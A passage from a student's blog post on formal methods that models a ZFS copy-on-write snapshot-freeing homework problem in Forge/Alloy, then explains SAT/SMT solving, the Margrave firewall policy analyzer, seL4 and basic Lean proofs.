abstract and high-level modality. - -These tools take, as input, a specification of structural properties in the form of types and predicates, and validate that these expectations about the properties are true. As an example, let's take a homework problem from Operating Systems -- another class I'm taking this semester. The problem wasn't particularly difficult, but I think that checking my work with Alloy is a more compelling use-case than any of the toy examples I could come up with. - -I'm going to paraphrase the problem text so as to not make the search engine a more useful tool for any future students of the cours.[fn:11] The problem pertains to [[https://en.wikipedia.org/wiki/ZFS][ZFS]], which is a copy-on-write file system. All allocated blocks of the file system are organized as one large tree. When an operation is carried out that would modify a disk block, a copy of that block is made and that copy is what gets modified. Said modified copy is linked into the tree by copying the block's parent node and modifying that copy so that it points to the modified block. This continues all the way up to the root, at which point you have two copies of the root: one which represents the filesystem /before/ the operation took place, and one which represents the filesystem /after/ the operation took place. If you keep the old root around, it's a _snapshot_ of the file system before the operation. - -The problem asks about when the kernel should free a block that was in the file system. In particular: - -- If a file is deleted, how do we know if there's a ZFS snapshot that refers to it? -- If a snapshot is deleted, which files do we free? - -Something important to consider when modeling a system with Alloy is whether details are important enough to include, or if they can be omitted for the sake of making the model easier to reason about. For this problem, we aren't concerned with about the tree-like structure of a file system -- just the time that files are created, whether or not they're free, and whether or not they're referred to by a snapshot (or the current file system). - -(I'm going to use "Alloy" and "Forge" interchangeably in this section, but I am using Forge here.) - -An Alloy spec begins with some definitions. - -#+BEGIN_SRC prog -#lang forge - -option problem_type temporal -option min_tracelength 2 -option max_tracelength 10 - -sig File { - ctime: one Int, - var free: one Int -} - -sig Snapshot extends File { - children: set File, - retired_list: set File -} - -one sig CurrentRoot { - var live_children: set File, - var live_retired_list: set File -} -#+END_SRC - -The problem we're dealing with involves a time domain: a file might exist at one point in time, but we might /delete/ it later on. We begin by telling Forge that this is the kind of problem we're dealing with, and that we only care about traces with a number of unique states between 2 and 10.[fn:10] - -We then model the data types in question. You can think of =sig= like =class= in Java, or whatever your favorite object-oriented programming language is. In our model, every =File= has a static =ctime= representing when the file was created, and whether or not it's =free=. =var= means that the field can vary with time, so operations on the filesystem can affect whether or not a file is free, but not the creation time. - -This might sound wrong, but it's an intentional modeling choice. Rather than model the file system operations we're concerned with as changing the =ctime=, we instead treat it as something static, and consider whether or not it's valid only when the file is allocated. In other words: we don't care what the =ctime= is for a free block, we just care that the =ctime= is equal to the current time when a file is created. - -If that didn't make much sense, it's probably my fault and not yours. That point is a little hard to explain without showing the rest of the code, so just bear with me. - -We'll write some predicates next, to model the properties we're interested in. - -#+BEGIN_SRC prog -pred referenced_by_snapshot[f: File] { - some s: Snapshot { - s.free = 0 - f in s.children - } -} - -pred valid_state { - all f: File { - -- No referenced file should be free. - (f in CurrentRoot.live_children or (some s: Snapshot | f in s.children and s.free = 0)) => f.free = 0 - - -- No file in a retired list should referenced - f in CurrentRoot.live_retired_list => f not in CurrentRoot.live_children - all s: Snapshot { - f in s.retired_list and s.free = 0 => f not in s.children - } - - -- Treat `free` as a boolean. - f.free = 0 or f.free = 1 - } - - -- Snapshots must be roots. - all s1 : Snapshot { - s1 not in CurrentRoot.live_children - s1 not in CurrentRoot.live_retired_list - all s2: Snapshot { - s1 not in s2.children - s1 not in s2.retired_list - } - } -} -#+END_SRC - -Predicates are sentences in first order logic (albeit with respect to a bounded domain, as we'll explain later). The predicates above should be fairly readable with a light explanation of the syntax. Braces (={}=) represent a conjunction, so =referenced_by_snapshot= is equivalent to - -#+BEGIN_SRC prog -pred referenced_by_snapshot[f: File] | (some s: Snapshot | (s.free = 0 and f in s.children)) -#+END_SRC - -"A file =f= is referenced by a snapshot if there's some snapshot =s= which isn't free and refers to =f= by its =children= relation." - -The =valid_state= is an encoding of the safety properties we care about. We'd like to reason about whether or not our ZFS freeing algorithm ever violates some properties that should be true of our model. In particular, that all files that are "active" in the file system should be allocated, and that the retired list should never refer to an allocated file. - -There are some other constraints in the predicate for things which would normally be "obvious," like =free= being either =0= or =1=. An advantage to modeling problems like this in Forge is that it forces you to explicitly enumerate all of your assumptions -- if you don't, it will take advantage of that and produce models that might seem nonsensical but are actually completely valid within the constraints you provided. For example, if we didn't have the constraint that =f.free = 0 or f.free = 1= for all files, and we asked Forge to generate a model of a valid state, it might build a model where every file has =free= set to =-7=. Alloy is really good for forcing you to understand the problem at hand. I'd compare it to having to teach the problem to someone unfamiliar, or [[https://en.wikipedia.org/wiki/Rubber_duck_debugging][explaining a tricky debugging problem to your favorite rubber duck]]. - -Let's define the file system operations now. This is done with predicates as well, which encode whether the post-state accurately reflects a particular operation upon the pre-state. - -#+BEGIN_SRC prog -pred make_snapshot { - one s: Snapshot { - -- The snapshot captures the state of the filesystem at this point in time. - s.children = CurrentRoot.live_children - s.retired_list = CurrentRoot.live_retired_list - - -- The snapshot is now marked as allocated. - s.free = 1 - s.free' = 0 - - all f: File { - f != s => { - -- The free flag is unchanged for every other file. - f.free' = f.free - - -- All other creations happened in the past, relative to this one. - f.free = 0 => s.ctime > f.ctime - } - } - } - - -- The retired list is emptied for the current filesystem. - no live_retired_list' - - -- Nothing else changes. - live_children' = live_children -} - -pred delete_snapshot { - one s: Snapshot { - -- The snapshot is now marked as free - s.free = 0 - s.free' = 1 - - -- TODO: Add reclaiming operation. - - all f: File { - -- The free flag is unchanged for every other file. - f != s => f.free' = f.free - } - } - - -- Nothing else changes. - live_retired_list' = live_retired_list - live_children' = live_children -} - -pred make_file { - one f: File { - -- `f` is added to the set of live children. - CurrentRoot.live_children' = CurrentRoot.live_children + f - -- `f` is marked as allocated. - f.free' = 0 - - -- n.b. it could already be allocated, if a previous snapshot refers to it. - - all f2: File { - f2 != f => { - -- Free flag for other files remains unchanged. - f2.free' = f2.free - - -- All other creations happened in the past, relative to this one. - f2.free = 0 => f.ctime > f2.ctime - } - } - } - - -- Nothing else changes. - live_retired_list' = live_retired_list - live_children' = live_children -} - -pred delete_file { - one f: File { - -- It only makes sense to delete a file if it's in the filesystem - f in CurrentRoot.live_children - - -- Remove it from the filesystem, and reclaim it if applicable. - -- Otherwise, put it in the retired list. - CurrentRoot.live_children' = CurrentRoot.live_children - f - - referenced_by_snapshot[f] => { - -- If another snapshot refers to this one, we don't free it - -- but add it to the retired list. - f.free' = 0 - CurrentRoot.live_retired_list' = CurrentRoot.live_retired_list + f - } else { - -- Otherwise we can free it and the retired list is unchanged. - f.free' = 1 - live_retired_list' = live_retired_list - } - - all f2: File { - -- Free flag for other files remains unchanged. - f2 != f => f2.free' = f2.free - } - } -} -#+END_SRC - -Note that I've left a "TODO" in =delete_snapshot=. We'll add that in later to see how it changes the model. - -We should also encode what the file system looks like in the beginning. - -#+BEGIN_SRC prog --- We start with an empty filesystem, where everything is free. -pred init { - no CurrentRoot.live_children - no CurrentRoot.live_retired_list - all f: File { - f.free = 1 iff f != CurrentRoot - } -} -#+END_SRC - -And with that, we can say what a "trace" looks like. - -#+BEGIN_SRC prog -pred traces { - init - always (make_snapshot or delete_snapshot or make_file or delete_file) -} -#+END_SRC - -We start from nothing and always perform one of the four operations we care about. - -With that, we have enough that we can ask Forge some questions. We should make sure that our predicates are /satisfiable/, and not so over-constrained that they can never be true, and then we should make sure that =valid_state= is an invariant -- that no operation will violate it. - -#+BEGIN_SRC prog -test expect { - valid_state_vacuity1: { valid_state } for 5 File is sat - valid_state_vacuity2: { valid_state } for exactly 5 File is sat - - init_vacuity1: { init } for 5 File is sat - init_vacuity2: { init } for exactly 5 File is sat - - make_snapshot_vacuity1: { valid_state and make_snapshot } for 5 File is sat - make_snapshot_vacuity2: { valid_state and make_snapshot } for exactly 5 File is sat - make_snapshot_good: { - (valid_state and make_snapshot) => next_state valid_state - } for 5 File is theorem - - delete_snapshot_vacuity1: { valid_state and delete_snapshot } for 5 File is sat - delete_snapshot_vacuity2: { valid_state and delete_snapshot } for exactly 5 File is sat - delete_snapshot_good: { - (valid_state and delete_snapshot) => next_state valid_state - } for 5 File is theorem - - make_file_vacuity1: { valid_state and make_file } for 5 File is sat - make_file_vacuity2: { valid_state and make_file } for exactly 5 File is sat - make_file_good: { - (valid_state and make_file) => next_state valid_state - } for 5 File is theorem - - delete_file_vacuity1: { valid_state and delete_file } for 5 File is sat - delete_file_vacuity2: { valid_state and delete_file } for exactly 5 File is sat - delete_file_good: { - (valid_state and delete_file) => next_state valid_state - } for 5 File is theorem - - traces_vacuity: { traces } for 5 File is sat - traces_vacuity: { traces } for exactly 5 File is sat -} -#+END_SRC - -=for 5 File= tells Forge to consider situations where there are between 0 and 5 files. =for exactly 5 File= tells Forge to consider situations where there are, well, exactly 5 files. I usually include the latter because some over-constrained predicates are satisfiable precisely when there exactly 0 of something, and I'm usually interested in the case where there is at least 1 of something. The "vacuity" tests are there to ensure that the implication isn't "vacuously" true (i.e., the left-hand side is always false and the implication tells us nothing.) - -We can run these tests to find that they all pass. Meaning that if we assume =valid_state= actually encodes what we mean, our model upholds the invariant. Which is good, because intuition tells us that the implementation where we just leak disk space /should/ be safe. - -With that, we can finally answer the second part of the question by updating =delete_snapshot= to reclaim the free space and see if our invariant is violated. - -#+BEGIN_SRC prog -pred delete_snapshot { - one s: Snapshot { - -- The snapshot is now marked as free - s.free = 0 - s.free' = 1 - - all f: File { - -- Added this - f in s.retired_list => f.free' = 1 - -- The free flag is unchanged for every other file. - (f not in s.retired_list and f != s) => f.free' = f.free - } - } - - -- Nothing else changes. - live_retired_list' = live_retired_list - live_children' = live_children -} - -#+END_SRC - -Let's run it. - -#+BEGIN_SRC prog -jakob@whitecloud ~ $ racket 1670-problem.frg -Forge version: 2.7.0 -To report issues with Forge, please visit https://report.forge-fm.org -#vars: (size-variables 1806); #primary: (size-primary 322); #clauses: (size-clauses 3035) -Transl (ms): (time-translation 505); Solving (ms): (time-solving 77) -#vars: (size-variables 1464); #primary: (size-primary 317); #clauses: (size-clauses 2396) -Transl (ms): (time-translation 147); Solving (ms): (time-solving 24) -#vars: (size-variables 1597); #primary: (size-primary 322); #clauses: (size-clauses 2661) -Transl (ms): (time-translation 76); Solving (ms): (time-solving 48) -#vars: (size-variables 1255); #primary: (size-primary 317); #clauses: (size-clauses 2022) -Transl (ms): (time-translation 35); Solving (ms): (time-solving 15) -#vars: (size-variables 3304); #primary: (size-primary 322); #clauses: (size-clauses 8369) -Transl (ms): (time-translation 167); Solving (ms): (time-solving 42) -#vars: (size-variables 2942); #primary: (size-primary 317); #clauses: (size-clauses 7670) -Transl (ms): (time-translation 163); Solving (ms): (time-solving 23) -#vars: (size-variables 38523); #primary: (size-primary 6129); #clauses: (size-clauses 86238) -Transl (ms): (time-translation 1451); Solving (ms): (time-solving 829) Core min (ms): (time-core 0) -#vars: (size-variables 2131); #primary: (size-primary 322); #clauses: (size-clauses 4196) -Transl (ms): (time-translation 64); Solving (ms): (time-solving 21) -#vars: (size-variables 1764); #primary: (size-primary 317); #clauses: (size-clauses 3482) -Transl (ms): (time-translation 54); Solving (ms): (time-solving 21) -#vars: (size-variables 1951); #primary: (size-primary 317); #clauses: (size-clauses 3955) -Transl (ms): (time-translation 52); Solving (ms): (time-solving 17) -Instance found, with statistics and metadata: -(Sat - '(#hash((CurrentRoot . ((CurrentRoot0))) - (File . ((File0) (File1) (File2) (File3) (File4))) - (Snapshot . ((File4))) - (children . ((File4 File2) (File4 File3))) - (ctime . ((File0 5) (File1 -7) (File2 6) (File3 5) (File4 7))) - (free . ((File0 0) (File1 0) (File2 0) (File3 0) (File4 0))) - (live_children . ((CurrentRoot0 File0))) - (live_retired_list . ()) - (retired_list . ((File4 File0) (File4 File1)))) - #hash((CurrentRoot . ((CurrentRoot0))) - (File . ((File0) (File1) (File2) (File3) (File4))) - (Snapshot . ((File4))) - (children . ((File4 File2) (File4 File3))) - (ctime . ((File0 5) (File1 -7) (File2 6) (File3 5) (File4 7))) - (free . ((File0 1) (File1 1) (File2 0) (File3 0) (File4 1))) - (live_children . ((CurrentRoot0 File0))) - (live_retired_list . ()) - (retired_list . ((File4 File0) (File4 File1))))) - '((size-variables 1951) - (size-clauses 3955) - (size-primary 317) - (time-translation 52) - (time-solving 17) - (time-building 1681047504957)) - '((prefixLength 2) (loop 1))) -Sterling running. Hit enter to stop service. -#+END_SRC - -Our test fails, and Forge shows us a counterexample! This is the first state: - -[[./forge-1-1.png]] -#+CAPTION: First counterexample, first state. - -Then we delete a snapshot (=File4=). - -[[./forge-1-2.png]] -#+CAPTION: First counterexample, second state. - -It might be a little hard to visually parse, but =File0= is being freed. It's in a snapshot's retired list, but it's live in the current file system as well. So if we free it, we end up violating the invariant that every live file should be allocated. - -This is pretty interesting from a counterexample perspective. Can we delete a file and then have it.. come back? Maybe, but I'm going to say "probably not" in the case of this homework problem. (Though it is helpful to have another assumption I can make explicit in my solution set!) So let's treat this as a modeling issue and fix it. The problem is that we have a file that comes back to life: it's in some snapshot's =retired_list=, but then it also shows back up in the root's =live_children=. The same issue can also manifest as a file being in a snapshot's =retired_list= and also in a a later snapshot's =children=. Let's add this to the safety property: - -#+BEGIN_SRC prog -pred valid_state { - all f: File { - -- No referenced file should be free. - (f in CurrentRoot.live_children or (some s: Snapshot | f in s.children and s.free = 0)) => f.free = 0 - - -- No file in a retired list should referenced - f in CurrentRoot.live_retired_list => f not in CurrentRoot.live_children - all s: Snapshot { - f in s.retired_list and s.free = 0 => f not in s.children - } - - -- Treat `free` as a boolean. - f.free = 0 or f.free = 1 - } - - -- Snapshots must be roots. - all s1 : Snapshot { - s1 not in CurrentRoot.live_children - s1 not in CurrentRoot.live_retired_list - all s2: Snapshot { - s1 not in s2.children - s1 not in s2.retired_list - } - } - - -- Added this! - all f: File | (all s1: Snapshot | f in s1.retired_list => { - f not in CurrentRoot.live_children - all s2: Snapshot { - s2.ctime > s1.ctime => f not in s2.children - } - }) - - -- This was also necessary -- clock is monotone. - all disj f1, f2: File | f1.ctime != f2.ctime -} -#+END_SRC - -And now we get a more sensible counterexample. - -[[./forge-1-3.png]] -#+CAPTION: Second counterexample, first state. - -[[./forge-1-4.png]] -#+CAPTION: Second counterexample, second state. - -Now we have a file being freed that's also referred to by a previous snapshot. This makes sense, and reveals an actual issue with the approach of "let's delete everything in the retired list." What we actually need to do is check to see if any snapshots refer to an entry in the retired list before deleting it. How we do this is the subject of the first part of the problem, which we'll get to. For now, let's assume we have some efficient predicate to tells us if a file is referenced by an earlier snapshot. - -#+BEGIN_SRC forge -pred referenced_by_no_other_snapshot[f: File] { - all s: Snapshot { - s.free = 0 => f not in s.children - } -} - -pred delete_snapshot { - one s: Snapshot { - -- The snapshot is now marked as free - s.free = 0 - s.free' = 1 - - all f: File { - (f in s.retired_list and referenced_by_no_other_snapshot[f]) => { - f.free' = 1 - } else { - -- The free flag is unchanged for every other file. - f != s => f.free' = f.free - } - } - } - - -- Nothing else changes. - live_retired_list' = live_retired_list - live_children' = live_children -} -#+END_SRC - -#+BEGIN_SRC prog -jakob@whitecloud ~ $ racket 1670-problem.frg -Forge version: 2.7.0 -To report issues with Forge, please visit https://report.forge-fm.org -#vars: (size-variables 3529); #primary: (size-primary 322); #clauses: (size-clauses 7302) -Transl (ms): (time-translation 794); Solving (ms): (time-solving 127) -#vars: (size-variables 3162); #primary: (size-primary 317); #clauses: (size-clauses 6638) -Transl (ms): (time-translation 296); Solving (ms): (time-solving 93) -#vars: (size-variables 1597); #primary: (size-primary 322); #clauses: (size-clauses 2661) -Transl (ms): (time-translation 52); Solving (ms): (time-solving 41) -#vars: (size-variables 1255); #primary: (size-primary 317); #clauses: (size-clauses 2022) -Transl (ms): (time-translation 62); Solving (ms): (time-solving 14) -#vars: (size-variables 3947); #primary: (size-primary 322); #clauses: (size-clauses 9561) -Transl (ms): (time-translation 239); Solving (ms): (time-solving 65) -#vars: (size-variables 3560); #primary: (size-primary 317); #clauses: (size-clauses 8837) -Transl (ms): (time-translation 233); Solving (ms): (time-solving 55) -#vars: (size-variables 44814); #primary: (size-primary 6129); #clauses: (size-clauses 107343) -Transl (ms): (time-translation 2139); Solving (ms): (time-solving 777) Core min (ms): (time-core 0) -#vars: (size-variables 3934); #primary: (size-primary 322); #clauses: (size-clauses 8718) -Transl (ms): (time-translation 126); Solving (ms): (time-solving 48) -#vars: (size-variables 3542); #primary: (size-primary 317); #clauses: (size-clauses 7979) -Transl (ms): (time-translation 121); Solving (ms): (time-solving 31) -#vars: (size-variables 44652); #primary: (size-primary 6129); #clauses: (size-clauses 107046) -Transl (ms): (time-translation 1545); Solving (ms): (time-solving 1413) Core min (ms): (time-core 0) -#vars: (size-variables 3844); #primary: (size-primary 322); #clauses: (size-clauses 9198) -Transl (ms): (time-translation 82); Solving (ms): (time-solving 40) -#vars: (size-variables 3452); #primary: (size-primary 317); #clauses: (size-clauses 8459) -Transl (ms): (time-translation 113); Solving (ms): (time-solving 34) -#vars: (size-variables 43842); #primary: (size-primary 6129); #clauses: (size-clauses 103941) -Transl (ms): (time-translation 1342); Solving (ms): (time-solving 1027) Core min (ms): (time-core 0) -#vars: (size-variables 3831); #primary: (size-primary 322); #clauses: (size-clauses 8652) -Transl (ms): (time-translation 94); Solving (ms): (time-solving 49) -#vars: (size-variables 3454); #primary: (size-primary 317); #clauses: (size-clauses 7958) -Transl (ms): (time-translation 98); Solving (ms): (time-solving 34) -#vars: (size-variables 43761); #primary: (size-primary 6129); #clauses: (size-clauses 105993) -Transl (ms): (time-translation 1218); Solving (ms): (time-solving 1214) Core min (ms): (time-core 0) -#vars: (size-variables 4586); #primary: (size-primary 322); #clauses: (size-clauses 13204) -Transl (ms): (time-translation 111); Solving (ms): (time-solving 34) -#vars: (size-variables 4124); #primary: (size-primary 317); #clauses: (size-clauses 12205) -Transl (ms): (time-translation 80); Solving (ms): (time-solving 10) -#vars: (size-variables 87834); #primary: (size-primary 6273); #clauses: (size-clauses 264636) -Transl (ms): (time-translation 3211); Solving (ms): (time-solving 10304) Core min (ms): (time-core 0) -#+END_SRC - -Sweet. Now, let's tackle the first problem. I posit that this can be determined by walking the snapshots and seeing if any exist with a =ctime= /after/ the block's =ctime= and /before/ the time of the deletion. - -#+BEGIN_SRC prog -test expect { - problem_2b: { traces => always { - all f: File | referenced_by_snapshot[f] => { - some s: Snapshot | s.free = 0 and s.ctime > f.ctime - }}} for exactly 5 File is theorem -} -#+END_SRC - -#+BEGIN_SRC prog -jakob@whitecloud ~ $ racket 1670-problem.frg -Forge version: 2.7.0 -To report issues with Forge, please visit https://report.forge-fm.org -#vars: (size-variables 4660); #primary: (size-primary 329); #clauses: (size-clauses 13496) -Transl (ms): (time-translation 910); Solving (ms): (time-solving 67) Core min (ms): (time-core 0) -#+END_SRC - -Nice! Now I have some confidence that my homework answers are right. - -** What's Going On? - -The approach is similar to what we examined before with our stochastic sorting test, except that Forge checks every possible input (up to a bound), rather than sampling a few dozen to check. It's also smart enough to do some pruning, so that the search doesn't take unreasonably long. In a lot of cases, this is sufficient (and far better than the alternative), but if your state space is infinite, the tool won't be able to exhaustively search for a counterexample. - -In fact, in 1710, we've often /significantly/ capped the state space. Unless you tell Forge otherwise, [[https://github.com/tnelson/Forge/wiki/Integers][integers are 4 bits wide]] (!), meaning that it only considers every integer as being in $[-8, 7]$. Surprisingly, this is somewhat conducive to discovering bugs, as the effects of integer overflow are more easily observed. Nonetheless, it does mean that a bug that manifests only when a particular integer is, say, $16$, would pass right by you unless you had the insight to increase your bit-width. - -** How Does It Work? - -"Simply" by translating the rules imposed by the model to an instance of SAT/SMT[fn:6]. If you haven't studied algorithms, SAT is the problem of finding an assignment of values to variables (if one exists) such that a particular /boolean formula/ evaluates to true. A formula, in this case, is a combination of variables joined together by AND, OR, and NOT operators. For example: - -$$ -a \land b \land \lnot c \lor d -$$ - -A satisfying assignment would be to set $a, b, d$ to "true" and $c$ to "false". SAT is the [[https://en.wikipedia.org/wiki/Cook%E2%80%93Levin_theorem][classical example]] of an [[https://en.wikipedia.org/wiki/NP-complete][NP-complete]] problem (though my undergraduate algorithms education focused more on the special case of [[https://en.wikipedia.org/wiki/Boolean_satisfiability_problem#3-satisfiability][3-SAT]]), but there are still solvers that are reasonably fast, like [[https://github.com/Z3Prover][Z3]]... which you might be familiar with from some of my [[https://jakob.space/blog/challenges-re-writeups-4.html][earlier writing]]. There, we used Z3 as a constraint solver: we had some constraints from the key validation algorithm, and had to generate a key that satisfied all of the constraints. The idea here is similar; our abstract specification is translated to a set of constraints (which are encoded as a [[https://www.maplesoft.com/support/help/maple/view.aspx?path=Formats%2FCNF][particular kind of boolean formula]]), which can then be fed into a SAT/SMT solver. - -I've implicitly referred to Z3 as a SAT solver in the preceding paragraph, but it's actually a SMT solver. The difference is that SMT generalizes the satisfiability problem to formulas consisting of more than just booleans. That's why it was useful in our key generation algorithm, since we were dealing with bit vectors and integers and such. - -SMT is actually more general than that. SMT stands for "satisfiability modulo theories," and the "modulo theories" part refers to the fact that an SMT instance is interpreted over some set of axioms. A particular set of axioms in Z3 is a "logic," and the reason that Z3 is a "theorem prover" is because it can actually produce proofs of unsatisfiability in certain logic systems... to a point. Often there will be a requirement that the input formula be free of quantifiers. There are nevertheless many interesting theorems which can be formulated (and proved) in light of these restrictions. - -At this point in my education, I would like to emphasize the scare quotes in the leading paragraph as much as possible, because I have yet to delve into how that translation actually happens. The SAT/SMT side of formal methods is the one I'm least familiar with, at the time of writing this. - -** Margrave - -As it turns out, model checking is quite useful for access-control policy analysis. An interesting application of model checking is the [[http://www.margrave-tool.org/][Margrave Policy Analyzer]]. The principle underlying the tool is that, although some realizable policies could have an unbounded state space (or one which is too large to exhaustively search), the formulas corresponding to many firewall-analysis problems in practice /are/ amenable to exhaustive analysis. The most compelling feature, in my opinion, is change impact analysis, which I'll briefly introduce by way of analogy: a task I've found Forge to be particularly good at is "diffing" predicates. - -#+BEGIN_SRC prog -test expect { - is_equiv: { prop1 iff prop2 } is theorem -} -#+END_SRC - -Essentially, this checks that =prop1= is equivalent to =prop2= (if =prop1= is true then =prop2= is true, and vice versa) and provides a counterexample if that isn't the case. Margrave answers similar questions. Particularly, "if I change or add this rule, what situations are now permitted or denied which would not be so before?" In fact the queries in Margrave are of essentially the same form. - -#+BEGIN_SRC prog -EXPLORE -(InboundACL:Permit() AND - NOT InboundACL_new:Permit()) OR -(InboundACL_new:Permit() AND - NOT InboundACL:Permit())) - -IS POSSIBLE? -#+END_SRC - -The above is "Query 5" from the paper.[fn:7] Margrave supports other queries as well, along the same sorts of queries one might make in Alloy. "Show me a run where the principal has these attributes and the decision is to permit, if one exists," or "are there any rules which are superfluous and never apply to any packet?" - -Microsoft provides a [[https://github.com/Z3Prover/FirewallChecker][similar tool]] using Z3 for analyzing Windows Firewall policies (mostly oriented toward the Azure use-case). [[https://ahelwer.ca/post/2018-02-13-z3-firewall/][This]] is a nice introductory-level summary. - -* Formal Specification and Theorem Proving - -In my outline, I'd titled this section "heavyweight formal methods: specification and theorem proving," but I'm not sure I've actually heard the term "heavyweight" used to describe these approaches. My intent was to contrast this from the "lightweight" approaches we discussed above. Essentially, we're now considering the opposite end of the spectrum. - -My favorite example of "not lightweight" application of formal methods is the [[https://sel4.systems/][seL4]] microkernel. It's been around long enough that it's old news by now, but I still think it was (and is) an incredible endeavor. At a high-level, the authors _specified_ some desirable security properties of a microkernel ([[https://en.wikipedia.org/wiki/Information_security][confidentiality, integrity, and availability]]) and what interfaces the microkernel should provide in terms of an abstract model. They prove, using [[https://en.wikipedia.org/wiki/Isabelle_(proof_assistant)][Isabelle/HOL]], that the interface specification upholds the security properties. Furthermore, they prove that their C implementation /refines/ the abstract model (any behavior observable in the C implementation is a valid behavior in the abstract model), and the verification concludes with a proof that [[https://dl.acm.org/doi/abs/10.1145/2491956.2462183][GCC compiles their C implementation correctly]]. - -** Theorem Proving - -The first thing to understand about the seL4 approach is the class of tooling they leveraged: proof assistants, or theorem provers. NICTA used Isabelle/HOL, which I'm not especially familiar with. The proof assistant I am familiar with is Lean, since it's what Rob Lewis used in his teaching of [[https://browncs1951x.github.io/][CSCI 1951X: Formal Proof and Verification]], so that's what I'll be writing about. - -On the tin, Lean is a theorem prover (or proof assistant), but at its core, it's a dependently-typed functional programming language. What immediately follows from having dependent types and the [[https://ncatlab.org/nlab/show/propositions+as+types][PAT principle]] (or [[https://en.wikipedia.org/wiki/Curry%E2%80%93Howard_correspondence][Curry-Howard correspondence]]) is that Lean can be used to reason about logical proofs. I think this is true of Isabelle/HOL, as well as other proof assistants like Coq and Agda. - -When you're first learning Lean, it might not be immediately obvious that it's a general-purpose programming language. The first code snippets you'll see are likely to be proofs. - -#+BEGIN_SRC lean -lemma nat.add_comm : ∀ n m : ℕ, n + m = m + n -| n 0 := eq.symm (nat.zero_add n) -| n (m+1) := - suffices succ (n + m) = succ (m + n), from - eq.symm (succ_add m n) ▸ this, - congr_arg succ (add_comm n m) -#+END_SRC - -This probably does, if you're coming from a programming background, look quite foreign. It may slightly more sensible if you're coming from a math background: this is a lemma about the commutability of addition over the naturals. For two arbitrary natural numbers $n$ and $m$, it is the case that $n + m = m + n$, and the proof proceeds with induction on $m$. Obviously, if $m = 0$, then $n + 0 = 0 + n$. For any other $m$, it suffices to show that $(n + m) + 1 = (m + n) + 1$, which follows from the inductive hypothesis. - -But that's an explanation of the underlying math. In the programming language sense, this is code to construct a value of type =∀ n m : ℕ, n + m = m + n= -- proofs are terms, and propositions are types. If we print out =nat.add_comm=, we'll see that the result is just a function that takes two natural numbers as inputs. - -#+BEGIN_SRC lean -theorem nat.add_comm : ∀ (n m : ℕ), n + m = m + n := -λ (n m : ℕ), - nat.brec_on m - (λ (m : ℕ) (_F : nat.below (λ (m : ℕ), ∀ (n : ℕ), n + m = m + n) m) (n : ℕ), - nat.cases_on m - (λ (_F : nat.below (λ (m : ℕ), ∀ (n : ℕ), n + m = m + n) 0), - id_rhs (n + 0 = 0 + n) (eq.symm (nat.zero_add n))) - (λ (m : ℕ) (_F : nat.below (λ (m : ℕ), ∀ (n : ℕ), n + m = m + n) (nat.succ m)), - id_rhs (n + (m + 1) = nat.succ m + n) (eq.symm (nat.succ_add m n) ▸ congr_arg nat.succ (_F.fst.fst n))) - _F) - n -#+END_SRC - -This isn't especially readable, and I doubt Lean practitioners typically inspect proofs in this way, but I think it is instructive to see that the proof boils town to what is effectively a type constructor over two naturals. - -Proofs in lean are written either in a forward style: - -#+BEGIN_SRC lean -lemma fst_of_two_props : - ∀a b : Prop, a → b → a := -fix a b : Prop, -assume ha : a, -assume hb : b, -show a, from ha -#+END_SRC - -or in a tactical style: - -#+BEGIN_SRC lean -lemma fst_of_two_props : - ∀a b : Prop, a → b → a := -begin - intros a b, - intros ha hb, - apply ha -end -#+END_SRC - -The former is a sort of forward reasoning, where each line is a step to transform the hypothesis (=∀a b : Prop, a → b=) into the goal (=a=), whereas the latter is a sort of backward reasoning, where after eliminating any quantifiers, we're left with the goal and attempt to work backwards. These aren't particularly good examples because they involve only a single step besides quantifier elimination, but I hope they're simple enough to understand. - -In the forward-style proof, =fix a b= is telling Lean that we want to eliminate the =∀= quantifier and say that =a, b= are two arbitrary propositions. Then we =assume= the left-most part of =a → b → a= as =ha= (a hypothesis that =a= is true), which leaves us with the task of showing that =b → a=. Then we =assume= that =b= is true, notating this assumption as =hb=, and then we're left with the task of showing =a=. Fortunately, this is exactly our assumption =ha=, so it's easy to show that =a= is true. Quod erat demonstrandum. - -In the tactical style, we're doing the exact same thing, except that we use =intros= instead of =fix= or =assume=. The effect is the same: eliminate some quantifier and give a name to what's being extracted in the environment. In tactic mode, we use =apply= to transform the "goal state." In this case, our goal is =a= and we have a hypothesis =ha= that is exactly =a=, so we're done when we apply it. But if we had some other hypothesis (say =hx=) which was =b → a=, and we did =apply hx=, our goal state would change to =b= (to show =a=, it suffices to show =b=), and we would still have some work to do. If we still had =hb=, we could =apply hb= and then the proof would be complete. - -I'll be using tactic mode for the proofs in this article, and I'll make an effort to explain what I'm doing. If you'd like a more detailed tutorial on tactic-mode proofs, I would highly recommend the interactive (browser-based!) [[https://www.ma.imperial.ac.uk/~buzzard/xena/natural_number_game/][Natural Number Game By Kevin Buzzard and Mohammad Pedramfar]]. - -(One other thing I'd like to point out is that some of the examples in this section will be Lean 3 code. The current version of Lean, Lean 4, isn't backwards-compatible with Lean 3. My opinion is that Lean 4 a much better tool, and thus, I'm using it in my research[fn:8], but 1951X used Lean 3 and I'd like to be able to present parts my final project without having to rewrite them.) - -Compared to SMT, proof assistants tend to be far less restrictive on the kinds of formulas that can be proved. In addition to admitting formulas in higher-order logic, we can also use quantifiers freely in formulating the statements we want to prove. On the other hand, proof assistants have the disadvantage is that there isn't really "push-button automation." There are tools (such as Isabelle's famous [[https://isabelle.in.tum.de/website-Isabelle2009-1/sledgehammer.html][sledgehammer]]) that will automate the proof search, but they're only effective in a handful of cases. - -** Specification - -When we wrote our property tests for Scheme, we formalized our properties as Scheme functions returning booleans (predicates). We did something similar when we wrote our Forge/Alloy predicates as well. I've found that there are (broadly speaking) two approaches to the concept when it comes to proof assistants. One approach is to retain _decidability_ as much as possible and write predicates as boolean returning functions -- for example: - -#+BEGIN_SRC lean4 -def sorted : List Nat → Bool := -fun - | (List.nil) => True - | (List.cons x (List.nil)) => True - | (List.cons x₁ (List.cons x₂ xs)) => if x₁ ≤ x₂ then (sorted xs) else False - -#eval sorted [1, 2, 3] --- Lean 4: true - -#eval sorted [2, 1, 3] --- Lean 4: false -#+END_SRC - -If we need to use =sorted= where a proposition is needed, we can effectively turn it into a =Prop= by writing =sorted ... = True=. The other approach is to deal directly with propositions. I've found that in Lean, it's common to encode such predicates inductively. - -#+BEGIN_SRC lean4 -inductive sorted' : List Nat → Prop -| empty : sorted' (List.nil) -| singleton : sorted' (List.cons x (List.nil)) -| tail : (x₁ ≤ x₂) → (sorted' xs) → sorted' (List.cons x₁ (List.cons x₂ xs)) -#+END_SRC - -When we define the predicate this 